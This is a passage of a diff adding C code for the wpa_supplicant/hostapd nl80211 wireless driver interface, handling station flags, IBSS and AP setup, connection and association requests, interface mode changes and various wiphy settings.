return -ENOMEM; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_SET_STATION); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, + if_nametoindex(bss->ifname)); + NLA_PUT(msg, NL80211_ATTR_MAC, ETH_ALEN, addr); + + /* + * Backwards compatibility version using NL80211_ATTR_STA_FLAGS. This + * can be removed eventually. + */ + flags = nla_nest_start(msg, NL80211_ATTR_STA_FLAGS); + if (!flags) + goto nla_put_failure; + if (total_flags & WPA_STA_AUTHORIZED) + NLA_PUT_FLAG(msg, NL80211_STA_FLAG_AUTHORIZED); + + if (total_flags & WPA_STA_WMM) + NLA_PUT_FLAG(msg, NL80211_STA_FLAG_WME); + + if (total_flags & WPA_STA_SHORT_PREAMBLE) + NLA_PUT_FLAG(msg, NL80211_STA_FLAG_SHORT_PREAMBLE); + + if (total_flags & WPA_STA_MFP) + NLA_PUT_FLAG(msg, NL80211_STA_FLAG_MFP); + + if (total_flags & WPA_STA_TDLS_PEER) + NLA_PUT_FLAG(msg, NL80211_STA_FLAG_TDLS_PEER); + + nla_nest_end(msg, flags); + + os_memset(&upd, 0, sizeof(upd)); + upd.mask = sta_flags_nl80211(flags_or | ~flags_and); + upd.set = sta_flags_nl80211(flags_or); + NLA_PUT(msg, NL80211_ATTR_STA_FLAGS2, sizeof(upd), &upd); + + return send_and_recv_msgs(drv, msg, NULL, NULL); + nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + + +static int wpa_driver_nl80211_ap(struct wpa_driver_nl80211_data *drv, + struct wpa_driver_associate_params *params) +{ + enum nl80211_iftype nlmode, old_mode; + struct hostapd_freq_params freq = { + .freq = params->freq, + }; + + if (params->p2p) { + wpa_printf(MSG_DEBUG, "nl80211: Setup AP operations for P2P " + "group (GO)"); + nlmode = NL80211_IFTYPE_P2P_GO; + } else + nlmode = NL80211_IFTYPE_AP; + + old_mode = drv->nlmode; + if (wpa_driver_nl80211_set_mode(drv->first_bss, nlmode)) { + nl80211_remove_monitor_interface(drv); + return -1; + } + + if (wpa_driver_nl80211_set_freq(drv->first_bss, &freq)) { + if (old_mode != nlmode) + wpa_driver_nl80211_set_mode(drv->first_bss, old_mode); + nl80211_remove_monitor_interface(drv); + return -1; + } + + return 0; +} + + +static int nl80211_leave_ibss(struct wpa_driver_nl80211_data *drv) +{ + struct nl_msg *msg; + int ret = -1; + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_LEAVE_IBSS); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + if (ret) { + wpa_printf(MSG_DEBUG, "nl80211: Leave IBSS failed: ret=%d " + "(%s)", ret, strerror(-ret)); + goto nla_put_failure; + } + + ret = 0; + wpa_printf(MSG_DEBUG, "nl80211: Leave IBSS request sent successfully"); + +nla_put_failure: + if (wpa_driver_nl80211_set_mode(drv->first_bss, + NL80211_IFTYPE_STATION)) { + wpa_printf(MSG_INFO, "nl80211: Failed to set interface into " + "station mode"); + } + + nlmsg_free(msg); + return ret; +} + + +static int wpa_driver_nl80211_ibss(struct wpa_driver_nl80211_data *drv, + struct wpa_driver_associate_params *params) +{ + struct nl_msg *msg; + int ret = -1; + int count = 0; + + wpa_printf(MSG_DEBUG, "nl80211: Join IBSS (ifindex=%d)", drv->ifindex); + + if (wpa_driver_nl80211_set_mode(drv->first_bss, + NL80211_IFTYPE_ADHOC)) { + wpa_printf(MSG_INFO, "nl80211: Failed to set interface into " + "IBSS mode"); + return -1; + } + +retry: + msg = nlmsg_alloc(); + if (!msg) + return -1; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_JOIN_IBSS); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + + if (params->ssid == NULL || params->ssid_len > sizeof(drv->ssid)) + goto nla_put_failure; + + wpa_hexdump_ascii(MSG_DEBUG, " * SSID", + params->ssid, params->ssid_len); + NLA_PUT(msg, NL80211_ATTR_SSID, params->ssid_len, + params->ssid); + os_memcpy(drv->ssid, params->ssid, params->ssid_len); + drv->ssid_len = params->ssid_len; + + wpa_printf(MSG_DEBUG, " * freq=%d", params->freq); + NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_FREQ, params->freq); + + ret = nl80211_set_conn_keys(params, msg); + if (ret) + goto nla_put_failure; + + if (params->bssid && params->fixed_bssid) { + wpa_printf(MSG_DEBUG, " * BSSID=" MACSTR, + MAC2STR(params->bssid)); + NLA_PUT(msg, NL80211_ATTR_MAC, ETH_ALEN, params->bssid); + } + + if (params->key_mgmt_suite == KEY_MGMT_802_1X || + params->key_mgmt_suite == KEY_MGMT_PSK || + params->key_mgmt_suite == KEY_MGMT_802_1X_SHA256 || + params->key_mgmt_suite == KEY_MGMT_PSK_SHA256) { + wpa_printf(MSG_DEBUG, " * control port"); + NLA_PUT_FLAG(msg, NL80211_ATTR_CONTROL_PORT); + } + + if (params->wpa_ie) { + wpa_hexdump(MSG_DEBUG, + " * Extra IEs for Beacon/Probe Response frames", + params->wpa_ie, params->wpa_ie_len); + NLA_PUT(msg, NL80211_ATTR_IE, params->wpa_ie_len, + params->wpa_ie); + } + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + if (ret) { + wpa_printf(MSG_DEBUG, "nl80211: Join IBSS failed: ret=%d (%s)", + ret, strerror(-ret)); + count++; + if (ret == -EALREADY && count == 1) { + wpa_printf(MSG_DEBUG, "nl80211: Retry IBSS join after " + "forced leave"); + nl80211_leave_ibss(drv); + nlmsg_free(msg); + goto retry; + } + + goto nla_put_failure; + } + ret = 0; + wpa_printf(MSG_DEBUG, "nl80211: Join IBSS request sent successfully"); + +nla_put_failure: + nlmsg_free(msg); + return ret; +} + + +static int wpa_driver_nl80211_try_connect( + struct wpa_driver_nl80211_data *drv, + struct wpa_driver_associate_params *params) +{ + struct nl_msg *msg; + enum nl80211_auth_type type; + int ret = 0; + int algs; + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + wpa_printf(MSG_DEBUG, "nl80211: Connect (ifindex=%d)", drv->ifindex); + nl80211_cmd(drv, msg, 0, NL80211_CMD_CONNECT); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + if (params->bssid) { + wpa_printf(MSG_DEBUG, " * bssid=" MACSTR, + MAC2STR(params->bssid)); + NLA_PUT(msg, NL80211_ATTR_MAC, ETH_ALEN, params->bssid); + } + if (params->freq) { + wpa_printf(MSG_DEBUG, " * freq=%d", params->freq); + NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_FREQ, params->freq); + drv->assoc_freq = params->freq; + } else + drv->assoc_freq = 0; + if (params->bg_scan_period >= 0) { + wpa_printf(MSG_DEBUG, " * bg scan period=%d", + params->bg_scan_period); + NLA_PUT_U16(msg, NL80211_ATTR_BG_SCAN_PERIOD, + params->bg_scan_period); + } + if (params->ssid) { + wpa_hexdump_ascii(MSG_DEBUG, " * SSID", + params->ssid, params->ssid_len); + NLA_PUT(msg, NL80211_ATTR_SSID, params->ssid_len, + params->ssid); + if (params->ssid_len > sizeof(drv->ssid)) + goto nla_put_failure; + os_memcpy(drv->ssid, params->ssid, params->ssid_len); + drv->ssid_len = params->ssid_len; + } + wpa_hexdump(MSG_DEBUG, " * IEs", params->wpa_ie, params->wpa_ie_len); + if (params->wpa_ie) + NLA_PUT(msg, NL80211_ATTR_IE, params->wpa_ie_len, + params->wpa_ie); + + algs = 0; + if (params->auth_alg & WPA_AUTH_ALG_OPEN) + algs++; + if (params->auth_alg & WPA_AUTH_ALG_SHARED) + algs++; + if (params->auth_alg & WPA_AUTH_ALG_LEAP) + algs++; + if (algs > 1) { + wpa_printf(MSG_DEBUG, " * Leave out Auth Type for automatic " + "selection"); + goto skip_auth_type; + } + + if (params->auth_alg & WPA_AUTH_ALG_OPEN) + type = NL80211_AUTHTYPE_OPEN_SYSTEM; + else if (params->auth_alg & WPA_AUTH_ALG_SHARED) + type = NL80211_AUTHTYPE_SHARED_KEY; + else if (params->auth_alg & WPA_AUTH_ALG_LEAP) + type = NL80211_AUTHTYPE_NETWORK_EAP; + else if (params->auth_alg & WPA_AUTH_ALG_FT) + type = NL80211_AUTHTYPE_FT; + else + goto nla_put_failure; + + wpa_printf(MSG_DEBUG, " * Auth Type %d", type); + NLA_PUT_U32(msg, NL80211_ATTR_AUTH_TYPE, type); + +skip_auth_type: + if (params->wpa_proto) { + enum nl80211_wpa_versions ver = 0; + + if (params->wpa_proto & WPA_PROTO_WPA) + ver |= NL80211_WPA_VERSION_1; + if (params->wpa_proto & WPA_PROTO_RSN) + ver |= NL80211_WPA_VERSION_2; + + wpa_printf(MSG_DEBUG, " * WPA Versions 0x%x", ver); + NLA_PUT_U32(msg, NL80211_ATTR_WPA_VERSIONS, ver); + } + + if (params->pairwise_suite != CIPHER_NONE) { + int cipher; + + switch (params->pairwise_suite) { + case CIPHER_SMS4: + cipher = WLAN_CIPHER_SUITE_SMS4; + break; + case CIPHER_WEP40: + cipher = WLAN_CIPHER_SUITE_WEP40; + break; + case CIPHER_WEP104: + cipher = WLAN_CIPHER_SUITE_WEP104; + break; + case CIPHER_CCMP: + cipher = WLAN_CIPHER_SUITE_CCMP; + break; + case CIPHER_GCMP: + cipher = WLAN_CIPHER_SUITE_GCMP; + break; + case CIPHER_TKIP: + default: + cipher = WLAN_CIPHER_SUITE_TKIP; + break; + } + NLA_PUT_U32(msg, NL80211_ATTR_CIPHER_SUITES_PAIRWISE, cipher); + } + + if (params->group_suite != CIPHER_NONE) { + int cipher; + + switch (params->group_suite) { + case CIPHER_SMS4: + cipher = WLAN_CIPHER_SUITE_SMS4; + break; + case CIPHER_WEP40: + cipher = WLAN_CIPHER_SUITE_WEP40; + break; + case CIPHER_WEP104: + cipher = WLAN_CIPHER_SUITE_WEP104; + break; + case CIPHER_CCMP: + cipher = WLAN_CIPHER_SUITE_CCMP; + break; + case CIPHER_GCMP: + cipher = WLAN_CIPHER_SUITE_GCMP; + break; + case CIPHER_TKIP: + default: + cipher = WLAN_CIPHER_SUITE_TKIP; + break; + } + NLA_PUT_U32(msg, NL80211_ATTR_CIPHER_SUITE_GROUP, cipher); + } + + if (params->key_mgmt_suite == KEY_MGMT_802_1X || + params->key_mgmt_suite == KEY_MGMT_PSK || + params->key_mgmt_suite == KEY_MGMT_FT_802_1X || + params->key_mgmt_suite == KEY_MGMT_FT_PSK || + params->key_mgmt_suite == KEY_MGMT_CCKM) { + int mgmt = WLAN_AKM_SUITE_PSK; + + switch (params->key_mgmt_suite) { + case KEY_MGMT_CCKM: + mgmt = WLAN_AKM_SUITE_CCKM; + break; + case KEY_MGMT_802_1X: + mgmt = WLAN_AKM_SUITE_8021X; + break; + case KEY_MGMT_FT_802_1X: + mgmt = WLAN_AKM_SUITE_FT_8021X; + break; + case KEY_MGMT_FT_PSK: + mgmt = WLAN_AKM_SUITE_FT_PSK; + break; + case KEY_MGMT_PSK: + default: + mgmt = WLAN_AKM_SUITE_PSK; + break; + } + NLA_PUT_U32(msg, NL80211_ATTR_AKM_SUITES, mgmt); + } + +#ifdef CONFIG_IEEE80211W + if (params->mgmt_frame_protection == MGMT_FRAME_PROTECTION_REQUIRED) + NLA_PUT_U32(msg, NL80211_ATTR_USE_MFP, NL80211_MFP_REQUIRED); +#endif /* CONFIG_IEEE80211W */ + + if (params->disable_ht) + NLA_PUT_FLAG(msg, NL80211_ATTR_DISABLE_HT); + + if (params->htcaps && params->htcaps_mask) { + int sz = sizeof(struct ieee80211_ht_capabilities); + NLA_PUT(msg, NL80211_ATTR_HT_CAPABILITY, sz, params->htcaps); + NLA_PUT(msg, NL80211_ATTR_HT_CAPABILITY_MASK, sz, + params->htcaps_mask); + } + +#ifdef CONFIG_VHT_OVERRIDES + if (params->disable_vht) { + wpa_printf(MSG_DEBUG, " * VHT disabled"); + NLA_PUT_FLAG(msg, NL80211_ATTR_DISABLE_VHT); + } + + if (params->vhtcaps && params->vhtcaps_mask) { + int sz = sizeof(struct ieee80211_vht_capabilities); + NLA_PUT(msg, NL80211_ATTR_VHT_CAPABILITY, sz, params->vhtcaps); + NLA_PUT(msg, NL80211_ATTR_VHT_CAPABILITY_MASK, sz, + params->vhtcaps_mask); + } +#endif /* CONFIG_VHT_OVERRIDES */ + + ret = nl80211_set_conn_keys(params, msg); + if (ret) + goto nla_put_failure; + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + if (ret) { + wpa_printf(MSG_DEBUG, "nl80211: MLME connect failed: ret=%d " + "(%s)", ret, strerror(-ret)); + goto nla_put_failure; + } + ret = 0; + wpa_printf(MSG_DEBUG, "nl80211: Connect request send successfully"); + +nla_put_failure: + nlmsg_free(msg); + return ret; + +} + + +static int wpa_driver_nl80211_connect( + struct wpa_driver_nl80211_data *drv, + struct wpa_driver_associate_params *params) +{ + int ret = wpa_driver_nl80211_try_connect(drv, params); + if (ret == -EALREADY) { + /* + * cfg80211 does not currently accept new connections if + * we are already connected. As a workaround, force + * disconnection and try again. + */ + wpa_printf(MSG_DEBUG, "nl80211: Explicitly " + "disconnecting before reassociation " + "attempt"); + if (wpa_driver_nl80211_disconnect( + drv, WLAN_REASON_PREV_AUTH_NOT_VALID)) + return -1; + ret = wpa_driver_nl80211_try_connect(drv, params); + } + return ret; +} + + +static int wpa_driver_nl80211_associate( + void *priv, struct wpa_driver_associate_params *params) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + int ret = -1; + struct nl_msg *msg; + + if (params->mode == IEEE80211_MODE_AP) + return wpa_driver_nl80211_ap(drv, params); + + if (params->mode == IEEE80211_MODE_IBSS) + return wpa_driver_nl80211_ibss(drv, params); + + if (!(drv->capa.flags & WPA_DRIVER_FLAGS_SME)) { + enum nl80211_iftype nlmode = params->p2p ? + NL80211_IFTYPE_P2P_CLIENT : NL80211_IFTYPE_STATION; + + if (wpa_driver_nl80211_set_mode(priv, nlmode) < 0) + return -1; + return wpa_driver_nl80211_connect(drv, params); + } + + nl80211_mark_disconnected(drv); + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + wpa_printf(MSG_DEBUG, "nl80211: Associate (ifindex=%d)", + drv->ifindex); + nl80211_cmd(drv, msg, 0, NL80211_CMD_ASSOCIATE); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + if (params->bssid) { + wpa_printf(MSG_DEBUG, " * bssid=" MACSTR, + MAC2STR(params->bssid)); + NLA_PUT(msg, NL80211_ATTR_MAC, ETH_ALEN, params->bssid); + } + if (params->freq) { + wpa_printf(MSG_DEBUG, " * freq=%d", params->freq); + NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_FREQ, params->freq); + drv->assoc_freq = params->freq; + } else + drv->assoc_freq = 0; + if (params->bg_scan_period >= 0) { + wpa_printf(MSG_DEBUG, " * bg scan period=%d", + params->bg_scan_period); + NLA_PUT_U16(msg, NL80211_ATTR_BG_SCAN_PERIOD, + params->bg_scan_period); + } + if (params->ssid) { + wpa_hexdump_ascii(MSG_DEBUG, " * SSID", + params->ssid, params->ssid_len); + NLA_PUT(msg, NL80211_ATTR_SSID, params->ssid_len, + params->ssid); + if (params->ssid_len > sizeof(drv->ssid)) + goto nla_put_failure; + os_memcpy(drv->ssid, params->ssid, params->ssid_len); + drv->ssid_len = params->ssid_len; + } + wpa_hexdump(MSG_DEBUG, " * IEs", params->wpa_ie, params->wpa_ie_len); + if (params->wpa_ie) + NLA_PUT(msg, NL80211_ATTR_IE, params->wpa_ie_len, + params->wpa_ie); + + if (params->pairwise_suite != CIPHER_NONE) { + int cipher; + + switch (params->pairwise_suite) { + case CIPHER_WEP40: + cipher = WLAN_CIPHER_SUITE_WEP40; + break; + case CIPHER_WEP104: + cipher = WLAN_CIPHER_SUITE_WEP104; + break; + case CIPHER_CCMP: + cipher = WLAN_CIPHER_SUITE_CCMP; + break; + case CIPHER_GCMP: + cipher = WLAN_CIPHER_SUITE_GCMP; + break; + case CIPHER_TKIP: + default: + cipher = WLAN_CIPHER_SUITE_TKIP; + break; + } + wpa_printf(MSG_DEBUG, " * pairwise=0x%x", cipher); + NLA_PUT_U32(msg, NL80211_ATTR_CIPHER_SUITES_PAIRWISE, cipher); + } + + if (params->group_suite != CIPHER_NONE) { + int cipher; + + switch (params->group_suite) { + case CIPHER_WEP40: + cipher = WLAN_CIPHER_SUITE_WEP40; + break; + case CIPHER_WEP104: + cipher = WLAN_CIPHER_SUITE_WEP104; + break; + case CIPHER_CCMP: + cipher = WLAN_CIPHER_SUITE_CCMP; + break; + case CIPHER_GCMP: + cipher = WLAN_CIPHER_SUITE_GCMP; + break; + case CIPHER_TKIP: + default: + cipher = WLAN_CIPHER_SUITE_TKIP; + break; + } + wpa_printf(MSG_DEBUG, " * group=0x%x", cipher); + NLA_PUT_U32(msg, NL80211_ATTR_CIPHER_SUITE_GROUP, cipher); + } + +#ifdef CONFIG_IEEE80211W + if (params->mgmt_frame_protection == MGMT_FRAME_PROTECTION_REQUIRED) + NLA_PUT_U32(msg, NL80211_ATTR_USE_MFP, NL80211_MFP_REQUIRED); +#endif /* CONFIG_IEEE80211W */ + + NLA_PUT_FLAG(msg, NL80211_ATTR_CONTROL_PORT); + + if (params->prev_bssid) { + wpa_printf(MSG_DEBUG, " * prev_bssid=" MACSTR, + MAC2STR(params->prev_bssid)); + NLA_PUT(msg, NL80211_ATTR_PREV_BSSID, ETH_ALEN, + params->prev_bssid); + } + + if (params->disable_ht) + NLA_PUT_FLAG(msg, NL80211_ATTR_DISABLE_HT); + + if (params->htcaps && params->htcaps_mask) { + int sz = sizeof(struct ieee80211_ht_capabilities); + NLA_PUT(msg, NL80211_ATTR_HT_CAPABILITY, sz, params->htcaps); + NLA_PUT(msg, NL80211_ATTR_HT_CAPABILITY_MASK, sz, + params->htcaps_mask); + } + +#ifdef CONFIG_VHT_OVERRIDES + if (params->disable_vht) { + wpa_printf(MSG_DEBUG, " * VHT disabled"); + NLA_PUT_FLAG(msg, NL80211_ATTR_DISABLE_VHT); + } + + if (params->vhtcaps && params->vhtcaps_mask) { + int sz = sizeof(struct ieee80211_vht_capabilities); + NLA_PUT(msg, NL80211_ATTR_VHT_CAPABILITY, sz, params->vhtcaps); + NLA_PUT(msg, NL80211_ATTR_VHT_CAPABILITY_MASK, sz, + params->vhtcaps_mask); + } +#endif /* CONFIG_VHT_OVERRIDES */ + + if (params->p2p) + wpa_printf(MSG_DEBUG, " * P2P group"); + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + if (ret) { + wpa_dbg(drv->ctx, MSG_DEBUG, + "nl80211: MLME command failed (assoc): ret=%d (%s)", + ret, strerror(-ret)); + nl80211_dump_scan(drv); + goto nla_put_failure; + } + ret = 0; + wpa_printf(MSG_DEBUG, "nl80211: Association request send " + "successfully"); + +nla_put_failure: + nlmsg_free(msg); + return ret; +} + + +static int nl80211_set_mode(struct wpa_driver_nl80211_data *drv, + int ifindex, enum nl80211_iftype mode) +{ + struct nl_msg *msg; + int ret = -ENOBUFS; + + wpa_printf(MSG_DEBUG, "nl80211: Set mode ifindex %d iftype %d (%s)", + ifindex, mode, nl80211_iftype_str(mode)); + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_SET_INTERFACE); + if (nl80211_set_iface_id(msg, drv->first_bss) < 0) + goto nla_put_failure; + NLA_PUT_U32(msg, NL80211_ATTR_IFTYPE, mode); + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + if (!ret) + return 0; +nla_put_failure: + nlmsg_free(msg); + wpa_printf(MSG_DEBUG, "nl80211: Failed to set interface %d to mode %d:" + " %d (%s)", ifindex, mode, ret, strerror(-ret)); + return ret; +} + + +static int wpa_driver_nl80211_set_mode(struct i802_bss *bss, + enum nl80211_iftype nlmode) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + int ret = -1; + int i; + int was_ap = is_ap_interface(drv->nlmode); + int res; + + res = nl80211_set_mode(drv, drv->ifindex, nlmode); + if (res && nlmode == nl80211_get_ifmode(bss)) + res = 0; + + if (res == 0) { + drv->nlmode = nlmode; + ret = 0; + goto done; + } + + if (res == -ENODEV) + return -1; + + if (nlmode == drv->nlmode) { + wpa_printf(MSG_DEBUG, "nl80211: Interface already in " + "requested mode - ignore error"); + ret = 0; + goto done; /* Already in the requested mode */ + } + + /* mac80211 doesn't allow mode changes while the device is up, so + * take the device down, try to set the mode again, and bring the + * device back up. + */ + wpa_printf(MSG_DEBUG, "nl80211: Try mode change after setting " + "interface down"); + for (i = 0; i < 10; i++) { + res = i802_set_iface_flags(bss, 0); + if (res == -EACCES || res == -ENODEV) + break; + if (res == 0) { + /* Try to set the mode again while the interface is + * down */ + ret = nl80211_set_mode(drv, drv->ifindex, nlmode); + if (ret == -EACCES) + break; + res = i802_set_iface_flags(bss, 1); + if (res && !ret) + ret = -1; + else if (ret != -EBUSY) + break; + } else + wpa_printf(MSG_DEBUG, "nl80211: Failed to set " + "interface down"); + os_sleep(0, 100000); + } + + if (!ret) { + wpa_printf(MSG_DEBUG, "nl80211: Mode change succeeded while " + "interface is down"); + drv->nlmode = nlmode; + drv->ignore_if_down_event = 1; + } + +done: + if (ret) { + wpa_printf(MSG_DEBUG, "nl80211: Interface mode change to %d " + "from %d failed", nlmode, drv->nlmode); + return ret; + } + + if (is_p2p_net_interface(nlmode)) + nl80211_disable_11b_rates(drv, drv->ifindex, 1); + else if (drv->disabled_11b_rates) + nl80211_disable_11b_rates(drv, drv->ifindex, 0); + + if (is_ap_interface(nlmode)) { + nl80211_mgmt_unsubscribe(bss, "start AP"); + /* Setup additional AP mode functionality if needed */ + if (nl80211_setup_ap(bss)) + return -1; + } else if (was_ap) { + /* Remove additional AP mode functionality */ + nl80211_teardown_ap(bss); + } else { + nl80211_mgmt_unsubscribe(bss, "mode change"); + } + + if (!bss->in_deinit && !is_ap_interface(nlmode) && + nl80211_mgmt_subscribe_non_ap(bss) < 0) + wpa_printf(MSG_DEBUG, "nl80211: Failed to register Action " + "frame processing - ignore for now"); + + return 0; +} + + +static int wpa_driver_nl80211_get_capa(void *priv, + struct wpa_driver_capa *capa) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + if (!drv->has_capability) + return -1; + os_memcpy(capa, &drv->capa, sizeof(*capa)); + if (drv->extended_capa && drv->extended_capa_mask) { + capa->extended_capa = drv->extended_capa; + capa->extended_capa_mask = drv->extended_capa_mask; + capa->extended_capa_len = drv->extended_capa_len; + } + + if ((capa->flags & WPA_DRIVER_FLAGS_DEDICATED_P2P_DEVICE) && + !drv->allow_p2p_device) { + wpa_printf(MSG_DEBUG, "nl80211: Do not indicate P2P_DEVICE support (p2p_device=1 driver param not specified)"); + capa->flags &= ~WPA_DRIVER_FLAGS_DEDICATED_P2P_DEVICE; + } + + return 0; +} + + +static int wpa_driver_nl80211_set_operstate(void *priv, int state) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + + wpa_printf(MSG_DEBUG, "%s: operstate %d->%d (%s)", + __func__, drv->operstate, state, state ? "UP" : "DORMANT"); + drv->operstate = state; + return netlink_send_oper_ifla(drv->global->netlink, drv->ifindex, -1, + state ? IF_OPER_UP : IF_OPER_DORMANT); +} + + +static int wpa_driver_nl80211_set_supp_port(void *priv, int authorized) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + struct nl80211_sta_flag_update upd; + + wpa_printf(MSG_DEBUG, "nl80211: Set supplicant port %sauthorized for " + MACSTR, authorized ? "" : "un", MAC2STR(drv->bssid)); + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_SET_STATION); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, + if_nametoindex(bss->ifname)); + NLA_PUT(msg, NL80211_ATTR_MAC, ETH_ALEN, drv->bssid); + + os_memset(&upd, 0, sizeof(upd)); + upd.mask = BIT(NL80211_STA_FLAG_AUTHORIZED); + if (authorized) + upd.set = BIT(NL80211_STA_FLAG_AUTHORIZED); + NLA_PUT(msg, NL80211_ATTR_STA_FLAGS2, sizeof(upd), &upd); + + return send_and_recv_msgs(drv, msg, NULL, NULL); + nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + + +/* Set kernel driver on given frequency (MHz) */ +static int i802_set_freq(void *priv, struct hostapd_freq_params *freq) +{ + struct i802_bss *bss = priv; + return wpa_driver_nl80211_set_freq(bss, freq); +} + + +static inline int min_int(int a, int b) +{ + if (a < b) + return a; + return b; +} + + +static int get_key_handler(struct nl_msg *msg, void *arg) +{ + struct nlattr *tb[NL80211_ATTR_MAX + 1]; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + + nla_parse(tb, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + + /* + * TODO: validate the key index and mac address! + * Otherwise, there's a race condition as soon as + * the kernel starts sending key notifications. + */ + + if (tb[NL80211_ATTR_KEY_SEQ]) + memcpy(arg, nla_data(tb[NL80211_ATTR_KEY_SEQ]), + min_int(nla_len(tb[NL80211_ATTR_KEY_SEQ]), 6)); + return NL_SKIP; +} + + +static int i802_get_seqnum(const char *iface, void *priv, const u8 *addr, + int idx, u8 *seq) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_GET_KEY); + + if (addr) + NLA_PUT(msg, NL80211_ATTR_MAC, ETH_ALEN, addr); + NLA_PUT_U8(msg, NL80211_ATTR_KEY_IDX, idx); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, if_nametoindex(iface)); + + memset(seq, 0, 6); + + return send_and_recv_msgs(drv, msg, get_key_handler, seq); + nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + + +static int i802_set_rts(void *priv, int rts) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + int ret = -ENOBUFS; + u32 val; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + if (rts >= 2347) + val = (u32) -1; + else + val = rts; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_SET_WIPHY); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_RTS_THRESHOLD, val); + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + if (!ret) + return 0; +nla_put_failure: + nlmsg_free(msg); + wpa_printf(MSG_DEBUG, "nl80211: Failed to set RTS threshold %d: " + "%d (%s)", rts, ret, strerror(-ret)); + return ret; +} + + +static int i802_set_frag(void *priv, int frag) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + int ret = -ENOBUFS; + u32 val; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + if (frag >= 2346) + val = (u32) -1; + else + val = frag; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_SET_WIPHY); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_FRAG_THRESHOLD, val); + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + if (!ret) + return 0; +nla_put_failure: + nlmsg_free(msg); + wpa_printf(MSG_DEBUG, "nl80211: Failed to set fragmentation threshold " + "%d: %d (%s)", frag, ret, strerror(-ret)); + return ret; +} + + +static int i802_flush(void *priv) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + int res; + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + wpa_printf(MSG_DEBUG, "nl80211: flush -> DEL_STATION %s (all)", + bss->ifname); + nl80211_cmd(drv, msg, 0, NL80211_CMD_DEL_STATION); + + /* + * XXX: FIX! this needs to flush all VLANs too + */ + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, + if_nametoindex(bss->ifname)); + + res = send_and_recv_msgs(drv, msg, NULL, NULL); + if (res) { + wpa_printf(MSG_DEBUG, "nl80211: Station flush failed: ret=%d " + "(%s)", res, strerror(-res)); + } + return res; + nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + + +static int get_sta_handler(struct nl_msg *msg, void *arg) +{ + struct nlattr *tb[NL80211_ATTR_MAX + 1]; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + struct hostap_sta_driver_data *data = arg; + struct nlattr *stats[NL80211_STA_INFO_MAX + 1]; + static struct nla_policy stats_policy[NL80211_STA_INFO_MAX + 1] = { + [NL80211_STA_INFO_INACTIVE_TIME] = { .type = NLA_U32 }, + [NL80211_STA_INFO_RX_BYTES] = { .type = NLA_U32 }, + [NL80211_STA_INFO_TX_BYTES] = { .type = NLA_U32 }, + [NL80211_STA_INFO_RX_PACKETS] = { .type = NLA_U32 }, + [NL80211_STA_INFO_TX_PACKETS] = { .type = NLA_U32 }, + [NL80211_STA_INFO_TX_FAILED] = { .type = NLA_U32 }, + }; + + nla_parse(tb, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + + /* + * TODO: validate the interface and mac address! + * Otherwise, there's a race condition as soon as + * the kernel starts sending station notifications. 